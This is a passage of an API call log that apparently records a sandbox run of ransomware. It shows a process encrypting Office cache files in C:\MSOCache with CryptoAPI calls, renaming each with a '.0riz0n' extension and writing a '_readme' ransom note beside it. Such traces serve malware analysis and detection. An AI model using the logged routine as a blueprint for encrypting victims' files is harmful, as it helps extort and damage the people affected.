0xa9f368 [0155.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0155.385] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0155.385] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0155.386] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0155.386] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.386] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0155.386] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0155.386] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.386] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0155.386] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x780) returned 0x9a8bc8 [0155.386] ReadFile (in: hFile=0x1c0, lpBuffer=0x9a8bc8, nNumberOfBytesToRead=0x741, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x9a8bc8*, lpNumberOfBytesRead=0x1a7fab0*=0x741, lpOverlapped=0x0) returned 1 [0155.388] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x780) returned 0x1f60848 [0155.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9a8bc8) returned 1 [0155.388] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x780) returned 0x9a8bc8 [0155.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0155.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f60848) returned 1 [0155.388] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb80) returned 0xa58890 [0155.388] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa58890*, pdwDataLen=0x1a7faac*=0x741, dwBufLen=0xb41 | out: pbData=0xa58890*, pdwDataLen=0x1a7faac*=0x750) returned 1 [0155.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0155.388] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.388] WriteFile (in: hFile=0x1c0, lpBuffer=0x9a8bc8*, nNumberOfBytesToWrite=0x741, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x9a8bc8*, lpNumberOfBytesWritten=0x1a7fab0*=0x741, lpOverlapped=0x0) returned 1 [0155.388] FlushFileBuffers (hFile=0x1c0) returned 1 [0155.392] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0155.392] NtClose (Handle=0x1c0) returned 0x0 [0155.392] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.0riz0n")) returned 1 [0155.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.0riz0n", dwFileAttributes=0x2020) returned 1 [0155.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0155.393] GetLastError () returned 0x2 [0155.393] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984588, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0155.393] GetLastError () returned 0x2 [0155.393] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.394] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.394] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0155.396] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0155.396] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x17) returned 0x1be3cf0 [0155.396] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cfe0 [0155.396] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1be3cf0) returned 1 [0155.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cfe0) returned 1 [0155.397] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2d1) returned 0xa7fc38 [0155.397] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0155.397] NtClose (Handle=0x1c0) returned 0x0 [0155.397] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0155.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0155.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0155.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9a8bc8) returned 1 [0155.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0155.397] CryptDestroyKey (hKey=0x829d78) returned 1 [0155.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0155.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0155.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0155.397] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.397] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282)) returned 1 [0155.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0155.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0155.398] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0155.398] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0155.398] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0155.398] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.398] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282)) returned 1 [0155.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0155.398] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0155.398] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.398] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282)) returned 1 [0155.398] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.398] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.399] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0155.399] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0155.399] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.399] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0155.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0155.399] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.399] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0155.399] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0155.399] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.399] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0155.399] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0155.400] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0156.604] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0156.800] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0156.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0156.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0157.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0157.284] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0157.448] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0157.449] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0157.577] FlushFileBuffers (hFile=0x1c0) returned 1 [0157.891] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0157.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3792c0) returned 0x2d50020 [0157.902] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0x379282, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0x379282, lpOverlapped=0x0) returned 1 [0157.990] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3792c0) returned 0x30d0020 [0158.069] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0158.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x30d0020) returned 1 [0158.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3796c0) returned 0x2d50020 [0158.177] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x379282, dwBufLen=0x379682 | out: pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x379290) returned 1 [0158.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0158.286] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa00000 [0158.286] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0x379282, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0x379282, lpOverlapped=0x0) returned 1 [0158.343] FlushFileBuffers (hFile=0x1c0) returned 1 [0158.393] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0158.395] NtClose (Handle=0x1c0) returned 0x0 [0158.395] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.0riz0n")) returned 1 [0158.396] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0158.397] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0158.397] GetLastError () returned 0x2 [0158.397] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9845a8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0158.398] GetLastError () returned 0x2 [0158.398] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0158.421] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0158.421] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0158.422] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0158.422] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x17) returned 0x1be3cf0 [0158.422] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x76299570, dwHighDateTime=0x1d59598)) returned 1 [0158.422] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0158.422] NtClose (Handle=0x1c0) returned 0x0 [0158.422] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0158.423] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0158.423] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0158.423] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0158.475] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0158.477] CryptDestroyKey (hKey=0x829d78) returned 1 [0158.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0158.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0158.478] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0158.479] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0158.479] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00)) returned 1 [0158.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0158.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0158.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0158.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0158.486] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0158.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0158.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0158.486] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00)) returned 1 [0158.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0158.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0158.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0158.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0158.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0158.487] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00)) returned 1 [0158.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0158.487] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0158.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0158.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0158.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0158.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0158.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) 